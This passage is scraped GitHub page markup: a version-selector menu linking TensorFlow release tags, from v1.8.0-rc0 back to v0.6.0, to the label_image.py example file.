<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.8.0-rc0/tensorflow/examples/label_image/label_image.py"
data-name="v1.8.0-rc0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.8.0-rc0">
v1.8.0-rc0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.7.1/tensorflow/examples/label_image/label_image.py"
data-name="v1.7.1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.7.1">
v1.7.1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.7.0/tensorflow/examples/label_image/label_image.py"
data-name="v1.7.0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.7.0">
v1.7.0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.7.0-rc1/tensorflow/examples/label_image/label_image.py"
data-name="v1.7.0-rc1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.7.0-rc1">
v1.7.0-rc1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.7.0-rc0/tensorflow/examples/label_image/label_image.py"
data-name="v1.7.0-rc0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.7.0-rc0">
v1.7.0-rc0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.6.0/tensorflow/examples/label_image/label_image.py"
data-name="v1.6.0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.6.0">
v1.6.0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.6.0-rc1/tensorflow/examples/label_image/label_image.py"
data-name="v1.6.0-rc1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.6.0-rc1">
v1.6.0-rc1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.6.0-rc0/tensorflow/examples/label_image/label_image.py"
data-name="v1.6.0-rc0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.6.0-rc0">
v1.6.0-rc0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.5.1/tensorflow/examples/label_image/label_image.py"
data-name="v1.5.1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.5.1">
v1.5.1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.5.0/tensorflow/examples/label_image/label_image.py"
data-name="v1.5.0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.5.0">
v1.5.0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.5.0-rc1/tensorflow/examples/label_image/label_image.py"
data-name="v1.5.0-rc1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.5.0-rc1">
v1.5.0-rc1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.5.0-rc0/tensorflow/examples/label_image/label_image.py"
data-name="v1.5.0-rc0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.5.0-rc0">
v1.5.0-rc0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.4.1/tensorflow/examples/label_image/label_image.py"
data-name="v1.4.1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.4.1">
v1.4.1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.4.0/tensorflow/examples/label_image/label_image.py"
data-name="v1.4.0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.4.0">
v1.4.0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.4.0-rc1/tensorflow/examples/label_image/label_image.py"
data-name="v1.4.0-rc1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.4.0-rc1">
v1.4.0-rc1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.4.0-rc0/tensorflow/examples/label_image/label_image.py"
data-name="v1.4.0-rc0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.4.0-rc0">
v1.4.0-rc0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.3.1/tensorflow/examples/label_image/label_image.py"
data-name="v1.3.1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.3.1">
v1.3.1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.3.0/tensorflow/examples/label_image/label_image.py"
data-name="v1.3.0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.3.0">
v1.3.0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.3.0-rc2/tensorflow/examples/label_image/label_image.py"
data-name="v1.3.0-rc2"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.3.0-rc2">
v1.3.0-rc2
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.3.0-rc1/tensorflow/examples/label_image/label_image.py"
data-name="v1.3.0-rc1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.3.0-rc1">
v1.3.0-rc1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.3.0-rc0/tensorflow/examples/label_image/label_image.py"
data-name="v1.3.0-rc0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.3.0-rc0">
v1.3.0-rc0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.2.1/tensorflow/examples/label_image/label_image.py"
data-name="v1.2.1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.2.1">
v1.2.1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.2.0/tensorflow/examples/label_image/label_image.py"
data-name="v1.2.0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.2.0">
v1.2.0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.2.0-rc2/tensorflow/examples/label_image/label_image.py"
data-name="v1.2.0-rc2"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.2.0-rc2">
v1.2.0-rc2
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.2.0-rc1/tensorflow/examples/label_image/label_image.py"
data-name="v1.2.0-rc1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.2.0-rc1">
v1.2.0-rc1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.2.0-rc0/tensorflow/examples/label_image/label_image.py"
data-name="v1.2.0-rc0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.2.0-rc0">
v1.2.0-rc0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.1.0/tensorflow/examples/label_image/label_image.py"
data-name="v1.1.0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.1.0">
v1.1.0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.1.0-rc2/tensorflow/examples/label_image/label_image.py"
data-name="v1.1.0-rc2"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.1.0-rc2">
v1.1.0-rc2
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.1.0-rc1/tensorflow/examples/label_image/label_image.py"
data-name="v1.1.0-rc1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.1.0-rc1">
v1.1.0-rc1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.1.0-rc0/tensorflow/examples/label_image/label_image.py"
data-name="v1.1.0-rc0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.1.0-rc0">
v1.1.0-rc0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.0.1/tensorflow/examples/label_image/label_image.py"
data-name="v1.0.1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.0.1">
v1.0.1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.0.0/tensorflow/examples/label_image/label_image.py"
data-name="v1.0.0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.0.0">
v1.0.0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.0.0-rc2/tensorflow/examples/label_image/label_image.py"
data-name="v1.0.0-rc2"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.0.0-rc2">
v1.0.0-rc2
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.0.0-rc1/tensorflow/examples/label_image/label_image.py"
data-name="v1.0.0-rc1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.0.0-rc1">
v1.0.0-rc1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.0.0-rc0/tensorflow/examples/label_image/label_image.py"
data-name="v1.0.0-rc0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.0.0-rc0">
v1.0.0-rc0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.0.0-alpha/tensorflow/examples/label_image/label_image.py"
data-name="v1.0.0-alpha"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.0.0-alpha">
v1.0.0-alpha
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v0.12.0/tensorflow/examples/label_image/label_image.py"
data-name="v0.12.0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v0.12.0">
v0.12.0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v0.11.0/tensorflow/examples/label_image/label_image.py"
data-name="v0.11.0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v0.11.0">
v0.11.0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v0.11.0rc2/tensorflow/examples/label_image/label_image.py"
data-name="v0.11.0rc2"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v0.11.0rc2">
v0.11.0rc2
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v0.11.0rc1/tensorflow/examples/label_image/label_image.py"
data-name="v0.11.0rc1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v0.11.0rc1">
v0.11.0rc1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v0.11.0rc0/tensorflow/examples/label_image/label_image.py"
data-name="v0.11.0rc0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v0.11.0rc0">
v0.11.0rc0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v0.10.0/tensorflow/examples/label_image/label_image.py"
data-name="v0.10.0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v0.10.0">
v0.10.0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v0.10.0rc0/tensorflow/examples/label_image/label_image.py"
data-name="v0.10.0rc0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v0.10.0rc0">
v0.10.0rc0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v0.9.0/tensorflow/examples/label_image/label_image.py"
data-name="v0.9.0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v0.9.0">
v0.9.0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v0.9.0rc0/tensorflow/examples/label_image/label_image.py"
data-name="v0.9.0rc0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v0.9.0rc0">
v0.9.0rc0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v0.8.0/tensorflow/examples/label_image/label_image.py"
data-name="v0.8.0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v0.8.0">
v0.8.0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v0.8.0rc0/tensorflow/examples/label_image/label_image.py"
data-name="v0.8.0rc0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v0.8.0rc0">
v0.8.0rc0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v0.7.1/tensorflow/examples/label_image/label_image.py"
data-name="v0.7.1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v0.7.1">
v0.7.1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v0.7.0/tensorflow/examples/label_image/label_image.py"
data-name="v0.7.0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v0.7.0">
v0.7.0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v0.6.0/tensorflow/examples/label_image/label_image.py"
data-name="v0.6.0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v0.6.0">
v0.6.0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/tflite-v0.1.7/tensorflow/examples/label_image/label_image.py"
data-name="tflite-v0.1.7"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="tflite-v0.1.7">
tflite-v0.1.7
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/0.12.1/tensorflow/examples/label_image/label_image.py"
data-name="0.12.1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="0.12.1">
0.12.1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/0.12.0-rc1/tensorflow/examples/label_image/label_image.py"
data-name="0.12.0-rc1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="0.12.0-rc1">
0.12.0-rc1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/0.12.0-rc0/tensorflow/examples/label_image/label_image.py"
data-name="0.12.0-rc0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="0.12.0-rc0">
0.12.0-rc0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
